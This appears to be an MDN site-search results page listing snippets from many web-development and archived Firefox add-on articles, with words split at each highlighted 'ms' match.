... peeridentity optional a do
mstring which specifies the target peer identity for the rtcpeerconnection.
... constants rtcbundlepolicy enum the rtcbundlepolicy enum defines string constants which are used to request a specific policy for gathering ice candidates if the remote peer isn't "bundle-aware" (compatible with the sdp bundle standard for bundling multiple media strea
ms on a single transport link).
...And 3 more matches
RTCStatsType - Web APIs
codec an rtccodecstats object containing statistics about a codec currently being used by rtp strea
ms to send or receive data for the rtcpeerconnection.
... inbound-rtp an rtcinboundrtpstrea
mstats object providing statistics about inbound data being received from remote peers.
... outbound-rtp the report is an rtcoutboundrtpstrea
mstats object providing statistics based on the local peer's outgoing data being sent to its peers.
...And 3 more matches
SVGAnimatedString - Web APIs
properties svganimatedstring.animval read only this is a do
mstring representing the animation value.
... svganimatedstring.baseval this is a do
mstring representing the base value.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsvganimatedstringchrome full support yesedge full support ≤18firefox full support yesie no support noopera full support yessafari full support ...
...And 3 more matches
SVGDocument - Web APIs
interface overview also implement none methods none properties do
mstring domain do
mstring referrer svgsvgelement rootelement do
mstring title do
mstring url normative document svg 1.1 (2nd edition) properties name type description ...
... domain do
mstring the domain name of the server that served the document, or a null string if the server cannot be identified by a domain name.
... referrer do
mstring returns the uri of the page that linked to this page.
...And 3 more matches
SubtleCrypto.deriveBits() - Web APIs
this function supports the same derivation algorith
ms as derivekey(): ecdh, hkdf, and pbkdf2.
... see supported algorith
ms for some more detail on these algorith
ms.
... to use ecdh, pass an ecdhkeyderivepara
ms object.
...And 3 more matches
SubtleCrypto.generateKey() - Web APIs
use the generatekey() method of the subtlecrypto interface to generate a new key (for symmetric algorith
ms) or key pair (for public-key algorith
ms).
... for rsassa-pkcs1-v1_5, rsa-pss, or rsa-oaep: pass an rsahashedkeygenpara
ms object.
... for ecdsa or ecdh: pass an eckeygenpara
ms object.
...And 3 more matches
SubtleCrypto.sign() - Web APIs
to use rsa-pss, pass an rsapsspara
ms object.
... to use ecdsa, pass an ecdsapara
ms object.
... supported algorith
ms the web crypto api provides four algorith
ms that can be used for signing and signature verification.
...And 3 more matches
TextTrack - Web APIs
texttrack.id read only a do
mstring which identifies the track, if it has one.
... texttrack.inbandmetadatatrackdispatchtype read only returns a do
mstring which indicates the track's in-band metadata track dispatch type.
... needs details texttrack.kind read only returns a do
mstring indicating what kind of text track the texttrack describes.
...And 3 more matches
WebGLRenderingContext.getActiveUniform() - Web APIs
it is generally used when querying unknown unifor
ms either for debugging or generic library creation.
...this value is an index 0 to n - 1 as returned by gl.getprogramparameter(program, gl.active_unifor
ms).
...e gl.sampler_2d_shadow gl.sampler_2d_array gl.sampler_2d_array_shadow gl.sampler_cube_shadow gl.int_sampler_2d gl.int_sampler_3d gl.int_sampler_cube gl.int_sampler_2d_array gl.unsigned_int_sampler_2d gl.unsigned_int_sampler_3d gl.unsigned_int_sampler_cube gl.unsigned_int_sampler_2d_array when gl.linkprogram is called, webgl creates a list of active unifor
ms.
...And 3 more matches
Geometry and reference spaces in WebXR - Web APIs
geometry operations with matrices we offer a guide to matrix mathematics as it pertains to 3d geometry, including how matrices are used for the three primary transfor
ms that need to be performed when rendering 3d scenes: translation is the use of a matrix to shift the position of a point through the virtual space.
...transfor
ms can also be applied to vectors, since vectors are described using a coordinate value to define the direction and magnitude of the vector.
...these space types are not viable if the roo
ms have uneven floors or floors whose height above ground level vary, since they don't support the avatar's vertical position changing.
...And 3 more matches
Migrating from webkitAudioContext - Web APIs
this article attempts to summarize the areas where developers are likely to encounter these proble
ms and provide examples on how to port such code to standards based audiocontext, which will work across different browser engines.
... because of these proble
ms, this version of the createbuffer() method has been removed, and you should use the asynchronous decodeaudiodata() method instead.
... oscillatornode.type oscillatornode's type property has been changed to use web idl enu
ms.
...And 3 more matches
Web audio spatialization basics - Web APIs
basics of spatialization in web audio, complex 3d spatializations are created using the pannernode, which in layman's ter
ms is basically a whole lotta cool maths to make audio appear in 3d space.
...these are different algorith
ms, which are used to reduce the volume of the audio source as it moves away from the listener.
...first, we'll get references to the elements we want to move, then we'll store references to the values we'll change when we set up css transfor
ms to actually do the movement.
...And 3 more matches
Using the Web Speech API - Web APIs
the web speech api provides two distinct areas of functionality — speech recognition, and speech synthesis (also known as text to speech, or tts) — which open up interesting new possibilities for accessibility, and control mechanis
ms.
...public declares that it is a public rule, the string in angle brackets defines the recognised name for this term (color), and the list of ite
ms that follow the equals sign are the alternative values that will be recognised and accepted as appropriate values for the term.
... you can have as many ter
ms defined as you want on separate lines following the above structure, and include fairly complex grammar definitions.
...And 3 more matches
Using the Web Storage API - Web APIs
the web storage api provides mechanis
ms by which browsers can securely store key/value pairs.
... the two mechanis
ms within web storage are as follows: sessionstorage maintains a separate storage area for each given origin that's available for the duration of the page session (as long as the browser is open, including page reloads and restores).
... these mechanis
ms are available via the window.sessionstorage and window.localstorage properties (to be more precise, in supporting browsers the window object implements the windowlocalstorage and windowsessionstorage objects, which the localstorage and sessionstorage properties are members of) — invoking one of these will create an instance of the storage object, through which data ite
ms can be set, retrieved, and removed.
...And 3 more matches
ARIA Screen Reader Implementors Guide - Accessibility
politeness (aria-live or from role) takes first precedence,: ite
ms should be added to the queue based on their politeness level from the aria-live property or inherited from the role (e.g.
...assertive ite
ms are first then politeness level.
... alternatively, implementations may choose to have a policy of clearing more polite ite
ms, e.g.
...And 3 more matches
Text labels and names - Accessibility
there are a number of different types of proble
ms in this category, found in different contexts, and each has its own solution.
... the different proble
ms and solutions are discussed in the sections below.
...e title for the reference article about the <title> element is as follows: <title><title>: the document title element - html: hypertext markup language</title> another example might look like so: <title>fill in your details to register — mygov services</title> to help the user, you can update the page title value to reflect significant page state changes (such as form validation proble
ms): <title>2 errors — fill in your details to register — mygov services</title> see also <title> embedded content must be labeled make sure that elements that embed content have a title attribute that describes the embedded content.
...And 3 more matches
Color picker tool - CSS: Cascading Style Sheets
tutorial="drop"> <div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index" data-max="20" data-sensivity="10"></div> </div> </div> css /* * color picker tool */ .ui-color-picker { width: 420px; margin: 0; border: 1px solid #ddd; background-color: #fff; display: table; -moz-user-select: none; -webkit-user-select: none; -
ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; position: relative; float: left; display: table; } .ui-color-picker .picking-area:hover { cursor: default; } /* hsv format - hue-saturation-value(brightness) */ .ui-color-picker .picking-area { background: url('https://mdn.mozillademos.org/files/5...
...707/picker_mask_200.png') center center; background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -moz-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -webkit-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -
ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -
ms-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -o-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background-color: #f00; } /* hsl format - hue-saturation-lightness */ .ui-color-picker[data-mode='hsl'] .picking-area { background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0...
..., hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background: -
ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -
ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%,...
...And 3 more matches
CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
we can use the order property, which will change how ite
ms auto-place.
... we can use grid-auto-flow: dense which will take ite
ms visually out of dom order.
... we can also position ite
ms using line-based placement of grid template areas, without considering their location in the source.
...And 3 more matches
Visual formatting model - CSS: Cascading Style Sheets
when reading specifications you will often find references to the model as defined in css2, so an understanding of the model and the ter
ms used to describe it in css2 is valuable when reading other layout specifications.
... in this document we define the model and introduce some of the related ter
ms and concepts, linking to more specific pages on mdn for further details.
... however, the inner display type might be something like grid or flex, in which case the direct children will display as a grid, or flex ite
ms.
...And 3 more matches
break-inside - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsupported in multi-column layoutchrome full support 50edge full support 12firefox full support 65ie full support 10opera full support 37 full suppo...
...roid full support 50firefox android full support 65opera android full support 37 full support 37 no support 11.1 — 12.1safari ios full support 10sa
msung internet android full support 5.0multicol_context: column and avoid-columnchrome full support 50edge full support 12firefox no support noie full support 10opera ...
... 10webview android full support 50chrome android full support 50firefox android no support noopera android full support 37safari ios full support 10sa
msung internet android full support 5.0supported in paged mediachrome full support 50edge full support 12firefox full support 65ie full support 10opera full supp...
...And 3 more matches
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
only when the value of display is changed do the children become flex or grid ite
ms and begin to respond to the other properties in the grid or flexbox specifications.
...you can now use justify-content: space-between; to put this space between the two flex ite
ms.
... single value new value block block flow flow-root block flow-root inline inline flow inline-block inline flow-root flex block flex inline-flex inline flex grid block grid inline-grid inline grid display: block flow-root and display: inline flow-root in ter
ms of how these new values help to clarify css layout, we can take a look at a couple of values in the table that might seem less familiar.
...And 3 more matches
font-variant-ligatures - CSS: Cascading Style Sheets
the font-variant-ligatures css property controls which ligatures and contextual for
ms are used in textual content of the elements it applies to.
... this leads to more harmonized for
ms in the resulting text.
... values normal this keyword leads to the activation of the usual ligatures and contextual for
ms needed for correct rendering.
...And 3 more matches
max-height - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetmax-heightchrome full support 18edge full support 12firefox full support 1notes full support 1notes notes css 2.1 leaves the behavior of max-height with table undefined.
... 1.3webview android full support ≤37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1sa
msung internet android full support 1.0fit-content experimentalchrome full support 46 full support 46 full support 25prefixed prefixed implemented with the vendor prefix: -webkit-edge full support ...
...a android full support 43safari ios full support 7prefixed full support 7prefixed prefixed implemented with the vendor prefix: -webkit- full support 1alternate name alternate name uses the non-standard name: intrinsicsa
msung internet android full support 5.0 full support 5.0 full support 1.5prefixed prefixed implemented with the vendor prefix: -webkit-max-contentchrome full support 46edge full support ...
...And 3 more matches
max-width - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetmax-widthchrome full support 1edge full support 12firefox full support 1notes full support 1notes notes css 2.1 leaves the behavior of max-width with table undefined.
...firefox supports applying max-width to table elements.opera android full support 14safari ios full support 1sa
msung internet android full support 1.0fit-content experimentalchrome full support 46 full support 46 full support 25prefixed prefixed implemented with the vendor prefix: -webkit-edge full support ...
...a android full support 43safari ios full support 7prefixed full support 7prefixed prefixed implemented with the vendor prefix: -webkit- full support 1alternate name alternate name uses the non-standard name: intrinsicsa
msung internet android full support 5.0max-content experimentalchrome full support 46 full support 46 full support 22prefixed prefixed implemented with the vendor prefix: -webkit-edge full support ...
...And 3 more matches
Creating a cross-browser video player - Developer guides
the player controls the
mselves won't be styled beyond the basics required to get them working; full styling of the player will be taken care of in a future article.
... a poster image is defined for the video, and the preload attribute is set to metadata, which infor
ms the browser that it should initially only attempt to load the metadata from the video file rather than the entire video file.
... to detect if a browser actually supports the fullscreen api and that it is enabled, the following may be called: var fullscreenenabled = !!(document.fullscreenenabled || document.mozfullscreenenabled || document.
msfullscreenenabled || document.webkitsupportsfullscreen || document.webkitfullscreenenabled || document.createelement('video').webkitrequestfullscreen); this simply tests all the different prefixed (and of course the non-prefixed!) booleans to see if fullscreen is possible.
...And 3 more matches
A hybrid approach - Developer guides
silver bullets are hard to find in web development — you’re more likely to come across strategies that make the best use of a variety of techniques given the circu
mstances.
... this brings us to our third approach, which ai
ms to avoid some of the shortcomings the separate sites and responsive design approaches by combining them.
...this article presents one potential combination of techniques as an example here, but different combinations will be appropriate under different circu
mstances.
...And 3 more matches
<input type="file"> - HTML: Hypertext Markup Language
value a do
mstring representing the path to the selected file.
... change and input supported common attributes required additional attributes accept, capture, files, multiple idl attributes files and value dom interface htmlinputelement properties properties that apply only to elements of type file methods select() value a file input's value attribute contains a do
mstring that represents the path to the selected file(s).
... for instance, there are a number of ways microsoft word files can be identified, so a site that accepts word files might use an <input> like this: <input type="file" id="docpicker" accept=".doc,.docx,application/
msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"> capture the capture attribute value is a string that specifies which camera to use for capture of image or video data, if the accept attribute indicates that the input should be of one of those types.
...And 3 more matches
Global attributes - HTML: Hypertext Markup Language
data-* for
ms a class of attributes, called custom data attributes, that allow proprietary information to be exchanged between the html and its dom representation that may be used by scripts.
... itemref properties that are not descendants of an element with the ite
mscope attribute can be associated with the item using an itemref.
... ite
mscope ite
mscope (usually) works along with itemtype to specify that the html contained in a block is about a particular item.
...And 3 more matches
Microformats - HTML: Hypertext Markup Language
for example if they wanted to identify the
mselves they could use an h-card such as: html example <a class="h-card" href="http://alice.example.com">alice blogger</a> when a parser encounters this data, it will know that this page contains a "card" which describes a person or organization named alice blogger with a url of http://alice.example.com/.
...hierarchical data is represented with nested microformats, typically as property values the
mselves.
...ical url p-street-address street number + name p-locality city/town/village p-country-name country name nested h-card example <div class="h-card"> <a class="p-name u-url" href="http://blog.lizardwrangler.com/" >mitchell baker</a> (<a class="p-org h-card" href="http://mozilla.org/" >mozilla foundation</a>) </div> parsed json: { "ite
ms": [{ "type": ["h-card"], "properties": { "name": ["mitchell baker"], "url": ["http://blog.lizardwrangler.com/"], "org": [{ "value": "mozilla foundation", "type": ["h-card"], "properties": { "name": ["mozilla foundation"], "url": ["http://mozilla.org/"] } }] } }] } note: the nested h-card has implied 'name' and 'url' properties, just like any o...
...And 3 more matches
Compression in HTTP - HTTP
over the years, algorith
ms also got more efficient, and new ones are supported by clients and servers.
... in practice, web developers don't need to implement compression mechanis
ms, both browsers and servers have it implemented already, but they have to be sure that the server is configured adequately.
...compression algorith
ms used for files can be grouped into two broad categories: loss-less compression, where the compression-uncompression cycle doesn't alter the data that is recovered.
...And 3 more matches
An overview of HTTP - HTTP
components of http-based syste
ms http is a client-server protocol: requests are sent by one entity, the user-agent (or a proxy on behalf of it).
... in reality, there are more computers between a browser and the server handling the request: there are routers, mode
ms, and more.
...although important to diagnose network proble
ms, the underlying layers are mostly irrelevant to the description of http.
...And 3 more matches
Working with objects - JavaScript
the exception to this rule is array-like object reflected from html, such as the for
ms array-like object.
...for example, if the second <form> tag in a document has a name attribute of "myform", you can refer to the form as document.for
ms[1] or document.for
ms["myform"] or document.for
ms.myform.
...an example is: objectname.methodname = functionname; var myobj = { mymethod: function(para
ms) { // ...do something } // or this works too myothermethod(para
ms) { // ...do something else } }; where objectname is an existing object, methodname is the name you are assigning to the method, and functionname is the name of the function.
...And 3 more matches
Functions - JavaScript
the function constructor note: using the function constructor to create functions is not recommended since it needs the function body as a string which may prevent some js engine optimizations and can also cause other proble
ms.
... note: using the generatorfunction constructor to create functions is not recommended since it needs the function body as a string which may prevent some js engine optimizations and can also cause other proble
ms.
...each must be a string that confor
ms to the rules for a valid javascript identifier or a list of such strings separated with a comma; for example "x", "thevalue", or "a,b".
...And 3 more matches
WebAssembly.Global - JavaScript
const output = document.getelementbyid('output'); function asserteq(
msg, got, expected) { output.innerhtml += `testing ${
msg}: `; if (got !== expected) output.innerhtml += `fail!<br>got: ${got}<br>expected: ${expected}<br>`; else output.innerhtml += `success!
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jsglobalchrome full support 69edge no support nofirefox full support 62ie no support noopera no support nosafari no support ...
... nowebview android full support 69chrome android full support 69firefox android full support 62opera android no support nosafari ios no support nosa
msung internet android full support 10.0nodejs no support noglobal() constructorchrome full support 69edge no support nofirefox full support 62ie no support ...
...And 3 more matches
Web Performance
to understand how to improve performance and perceived performance, it helps to understand how the browser works.recommended web performance timings: how long is too long?there are no clear set rules as to what constitutes a slow pace when loading pages, but there are specific guidelines for indicating content will load (1 second), idling (50
ms), animating (16.7s) and responding to user input (50 to 200
ms).the business case for web performanceyou know web performance is important, but how do you convince clients and management to invest in performance and make it a priority.
...in ter
ms of performance optimization, it's important to optimize to reduce causes of lacency and to test site performance emulating high latency to optimizer for users with lousy connections.
... mobile performance with web access on mobile devices being so popular, and all mobile platfor
ms having fully-fledged web browsers, but possibly limited bandwidth, cpu and battery life, it is important to consider the performance of your web content on these platfor
ms.
...And 3 more matches
XUL Migration Guide - Archive of obsolete content
this guide ai
ms to help you migrate a xul-based add-on to the sdk.
...in this way an extension can integrate its user interface into the browser: for example, adding menu ite
ms, buttons, and toolbars.
...in order of complexity, the main options are: the sdk includes modules that implement some basic user interface components including buttons, dialogs, and context menu ite
ms.
...And 2 more matches
indexed-db - Archive of obsolete content
for example: window.indexeddb = window.indexeddb || window.webkitindexeddb || window.mozindexeddb || window.
msindexeddb; var request = window.indexeddb.open("mydatabase"); request.onerror = function(event) { console.log("failure"); }; request.onsuccess = function(event) { console.log("success"); }; because your main add-on code can't access the dom, you can't do this.
... the add-on implements helper functions open(), additem() and getite
ms() to open the database, add a new item to the database, and get all ite
ms in the database.
... var { indexeddb, idbkeyrange } = require('sdk/indexed-db'); var database = {}; database.onerror = function(e) { console.error(e.value) } function open(version) { var request = indexeddb.open("stuff", version); request.onupgradeneeded = function(e) { var db = e.target.result; e.target.transaction.onerror = database.onerror; if(db.objectstorenames.contains("ite
ms")) { db.deleteobjectstore("ite
ms"); } var store = db.createobjectstore("ite
ms", {keypath: "time"}); }; request.onsuccess = function(e) { database.db = e.target.result; }; request.onerror = database.onerror; }; function additem(name) { var db = database.db; var trans = db.transaction(["ite
ms"], "readwrite"); var store = trans.objectstore("ite
ms"); var time = new date(...
...And 2 more matches
page-mod - Archive of obsolete content
so you can rewrite the above code like this: var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscriptfile: "./my-script.js" }); unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have proble
ms getting your add-on approved on amo.
... you can specify a url exactly: var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://www.iana.org/domains/example/", contentscript: 'window.alert("page matches ruleset");' }); you can specify a number of wildcard for
ms, for example: var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscript: 'window.alert("matched!");' }); you can specify a set of urls using a regular expression.
... unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have proble
ms getting your add-on approved on amo.
...And 2 more matches
timers - Archive of obsolete content
globals constructors functions settimeout(callback,
ms) schedules callback to be called in
ms milliseconds.
...
ms : integer interval in milliseconds after which the function will be called.
... example var { settimeout } = require("sdk/timers"); settimeout(function() { // do something in 0
ms }, 0) cleartimeout(id) given an id returned from settimeout(), prevents the callback with the id from being called (if it hasn't yet been called).
...And 2 more matches
core/promise - Archive of obsolete content
instead of structuring our progra
ms into logical black boxes: function blackbox(a, b) { var c = assemble(a); return combine(b, c); } we're forced into continuation passing style, involving lots of machinery: function sphagetti(a, b, callback) { assemble(a, function continuewith(error, c) { if (error) callback(error); else combine(b, c, callback); }); } this style also makes doing things in sequence hard: widget.on('click', function onclick() { promptuserfortwitterhandle(function continuewith(error, handle) { if (error) return ui.displaye...
... in ter
ms of promises, this means chaining your error handler: readasync(url).
...for example grouping promises to observe single resolution of all of them is as simple as this: var group = promised(array); var abc = group(aasync, basync, casync).then(function(ite
ms) { return ite
ms[0] + ite
ms[1] + ite
ms[2]; }); all the all function is provided to consume an array of promises and return a promise that will be accepted upon the acceptance of all the promises in the initial array.
...And 2 more matches
jpm - Archive of obsolete content
proble
ms?
...sdk users and project team members discuss proble
ms and proposals on the project mailing list.
...but if you're developing the sdk modules the
mselves, of course, it isn't.
...And 2 more matches
Miscellaneous - Archive of obsolete content
system info operating system detection // returns "winnt" on windows vista, xp, 2000, and nt syste
ms; // "linux" on gnu/linux; and "darwin" on mac os x.
...getbrowserselection() is not implemented on some platfor
ms, such as thunderbird and songbird.
... these properties can be accessed from javascript in the following manner: var common = { _bundle: components.classes["@mozilla.org/intl/stringbundle;1"] .getservice(components.interfaces.nsistringbundleservice) .createbundle("chrome://myext/locale/myext.properties"), getlocalizedmessage: function(
msg) { return this._bundle.getstringfromname(
msg); } }; alert(common.getlocalizedmessage("invalid.url")) another similar alternative (using both getstringfromname and formatstringfromname), is: var fcbundle = components.classes["@mozilla.org/intl/stringbundle;1"] .getservice(components.interfaces.nsistringbundleservice) .createbundle("chrome:...
...And 2 more matches
Adding sidebars - Archive of obsolete content
forcing sidebars to have a fixed size can cause accessibility and usability proble
ms.
...using custom-made elements are likely to cause accessibility and functional proble
ms.
... a deck can be very useful when you have a large piece of xul code that only changes in a small way depending on different circu
mstances.
...And 2 more matches
Adding windows and dialogs - Archive of obsolete content
different operating syste
ms order and position their buttons differently in their dialogs.
... there are also subtle aspects about window size, margins and paddings that are not the same for all syste
ms, so you should avoid making dialogs from scratch or overriding the default dialog css styles.
...all of this without having to worry about your dialog looking odd in some operating syste
ms.
...And 2 more matches
Security best practices in extensions - Archive of obsolete content
some ite
ms mentioned are strict guidelines, meaning that if you don't follow them then your add-on will not be approved on mozilla add-ons.
... other ite
ms are recommendations.
... this is written from the perspective of a firefox extension, but most ite
ms apply to extensions for other mozilla-based applications such as thunderbird or seamonkey.
...And 2 more matches
Search Extension Tutorial (Draft) - Archive of obsolete content
cu.import("resource://gre/modules/services.jsm"); // the details of the engine to add const engine_details = { name: "example engine", iconurl: "data:image/png;base64,...", alias: "example-engine", description: "an example search engine", method: "get", // the http request method url: "https://www.example.com/?q=_searchter
ms_" }; // keep track of whether this is the first run.
... if (engine && engine.getsubmission("_searchter
ms_").uri.spec == engine_details.url) services.search.removeengine(engine); } } function install() {} function uninstall() {} the complex method requires two files, an xml search description file and a javascript file to register the engine.
... </image> <url type="application/x-suggestions+json" template="https://api.example.com/suggestions"> <param name="q" value="{searchter
ms}"/> </url> <url type="text/html" method="get" template="https://www.example.com/search"> <param name="q" value="{searchter
ms}"/> <param name="source" value="search-box"/> </url> <url type="application/x-moz-keywordsearch" method="get" template="https://www.example.com/search"> <param name="q" value="{searchter
ms}"/> <param name="source" value="keywo...
...And 2 more matches
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
the content of the site tells the story of how technology affects our daily lives, especially in the real
ms of business, culture, and politics.
...it see
ms like most designers think that you have to have at least some tables for layout.
... our engineers also faced a huge archive of content that wasn't entered into our c
ms with xhtml in mind.
...And 2 more matches
Documentation for BiDi Mozilla - Archive of obsolete content
for syste
ms without bidi capabilities, the methods in nsiubidiutils are used.
... note that we are not affected by buggy bidi implementations on specific platfor
ms, since the platform never sees a text fragment with mixed directionality, and is not expected to do anything more complicated than displaying left-to-right text from left to right or right-to-left text from right to left.
... in some circu
mstances, even on a platform with bidi capability, the layout code has to reverse text fragments or to allow for the fact that they are displayed in reverse.
...And 2 more matches
Creating a Help Content Pack - Archive of obsolete content
the glossary file is written in rdf and consists of a simple list of ter
ms with corresponding urls to the term definition.
... nc:platform (added in mozilla 1.8b2/firefox 1.1) when present specifies the platfor
ms to which the information stored in the referenced data sources applies.
...if this attribute is omitted, the information in the data sources applies to all platfor
ms.
...And 2 more matches
Modularization techniques - Archive of obsolete content
registerfactory() supports two different registration mechanis
ms.
...on windows you can use the progra
ms uuidgen and guidgen, which ship with visual c++, to generate ids.
...there are mechanis
ms for declaring interfaces in c, but they're pretty gruesome and compiler dependent, and we're trying to make this as light weight as possible.
...And 2 more matches
Monitoring downloads - Archive of obsolete content
dbconn.executesimplesql("create table ite
ms (source text, size integer," + " starttime integer, endtime integer," + " speed real, status integer)"); dbconn.close(); }, this is fairly simple stuff.
... var dbconn = this.storageservice.opendatabase(this.dbfile); statement = dbconn.createstatement("replace into ite
ms values " + "(?1, ?2, ?3, 0, 0.0, 0)"); statement.bindstringparameter(0, adownload.source.spec); statement.bindint64parameter(1, adownload.size); statement.bindint64parameter(2, adownload.starttime); statement.execute(); statement.reset(); dbconn.close(); break; // record the completion (whether faile...
... var dbconn = this.storageservice.opendatabase(this.dbfile); var statement = dbconn.createstatement("update ite
ms set size=?1, " + "endtime=?2, speed=?3, status=?4 where source=?5 and starttime=?6"); statement.bindint64parameter(0, adownload.size); statement.bindint64parameter(1, endtime.gettime()); statement.binddoubleparameter(2, adownload.speed); statement.bindint32parameter(3, adownload.state); statement.bindstringparameter(4, adownload.source.spec); statement.bindi...
...And 2 more matches
Creating XPI Installer Modules - Archive of obsolete content
barley/ content/ barley.gif barley.js barley.xul creating the contents.rdf file one of the most important ingredients of the software package is the contents.rdf file that describes the contents of the package in ter
ms that the chrome registry can make sense of.
... for a package such as this one with its own content but no special localization or custom skin, the contents.rdf file describes package in ter
ms of its relation to the "root" package of mozilla.
... in the following listing, the ite
ms in red are particular to the barley package and can be edited for your own distribution: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <!-- list all the packages being supplied --> <rdf:seq about="urn:mozilla:package:root"> <rdf:li resource="urn:mozilla:package:barley"/> </rdf:seq> <!-- package information --> <rdf:description about="urn:mozilla:package:barley" chrome:displayname="barley grain" chrome:author="ian oeschger" chrome:name="barley"> </rdf:description> </rdf:rdf> create a contents.rdf file like the one in the listing above and put it in the content/ subdirectory with the other package resources.
...And 2 more matches
Reading from Files - Archive of obsolete content
to learn more about file objects, see files and strea
ms.
...the difference is that text strea
ms process the bytes being read into characters in a particular character encoding whereas binary strea
ms always read bytes.
...for normal file strea
ms, the available method will return the total number of bytes left in the file to read.
...And 2 more matches
textbox (Toolkit autocomplete) - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
... disablekeynavigation type: boolean if this attribute is not used, the user can navigate to specific ite
ms within the element by pressing keys corresponding to letters in the item's label.
... this is done incrementally, so typing more letters with select more specific ite
ms.
...And 2 more matches
Styling a Tree - Archive of obsolete content
this special syntax is needed because the cells the
mselves are not separate elements.
...we can use the interface nsiato
mservice to construct string ato
ms for the properties.
... getservice(components.interfaces.nsiato
mservice); props.appendelement(aserv.getatom("makeitblue")); } } the properties list requires an array of atom objects, which can be thought of as constant strings.
...And 2 more matches
Using Spacers - Archive of obsolete content
adding spacers one of the proble
ms with developing user interfaces is that each user has a different display.
...in addition, different platfor
ms may have special requirements on the user interface.
...applications that need to support multiple platfor
ms and languages usually have their windows laid out with lots of space to allow for this.
...And 2 more matches
The Implementation of the Application Object Model - Archive of obsolete content
by enforcing this distinction, we can successfully defend ourselves from any clai
ms that we were "mucking about with strange new html" when we could have been working on our standards story.
...the native widgets would also be an issue for something like a gfx-toolbar, which would need to contain the native widgets and still look consistent on all platfor
ms.
...in order to accomplish this, our architecture has to have some sort of facility whereby different types of content, e.g., mail and bookmarks, can register the
mselves as the appropriate content to be instantiated for a given uri.
...And 2 more matches
menuitem - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
... name type: string name radio menuite
ms with the same name as put into a group.
... type type: one of the values below can be used to create checkable menuite
ms or for radio button menuite
ms.
...And 2 more matches
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.builds - october 28th to november 3rd 2006 no such file or directory (build problem on winxp) november 2nd: kenoa complained that when he is compiling using cygwin on win32 he gets the following error no such file or directory1: /cygdrive/c/mozilla/mail/config/mozconfig client.mk:339: /cygdrive/c/mozilla/.mozconfig.mk: no such file or directory he clai
ms that the file ".mozconfig" exists in /cygdrive/c/mozilla/mail/config/mozconfig the disable-crypto cause problem originally posted on november 2nd: gxk is building minimo using the code base from sept.
...he also mentioned that airbag doesn't build with
msvc 7.1.
... fix host_libidl_libs originally posted on october 29th: gery gery clai
ms to have discovered a problem when he compiles mozilla across different platfor
ms when pkg_config is used.
...And 2 more matches
Security Controls - Archive of obsolete content
operational controls: the security controls that are primarily implemented and executed by people (as opposed to syste
ms).
...for example, a security policy is a management control, but its security requirements are implemented by people (operational controls) and syste
ms (technical controls).
...security controls to help thwart phishing, besides the management control of the acceptable use policy itself, include operational controls, such as training users not to fall for phishing sca
ms, and technical controls that monitor emails and web site usage for signs of phishing activity.
...And 2 more matches
Using SSH to connect to CVS - Archive of obsolete content
ms-dos command prompt cygwin for /f "tokens=1,2,3* deli
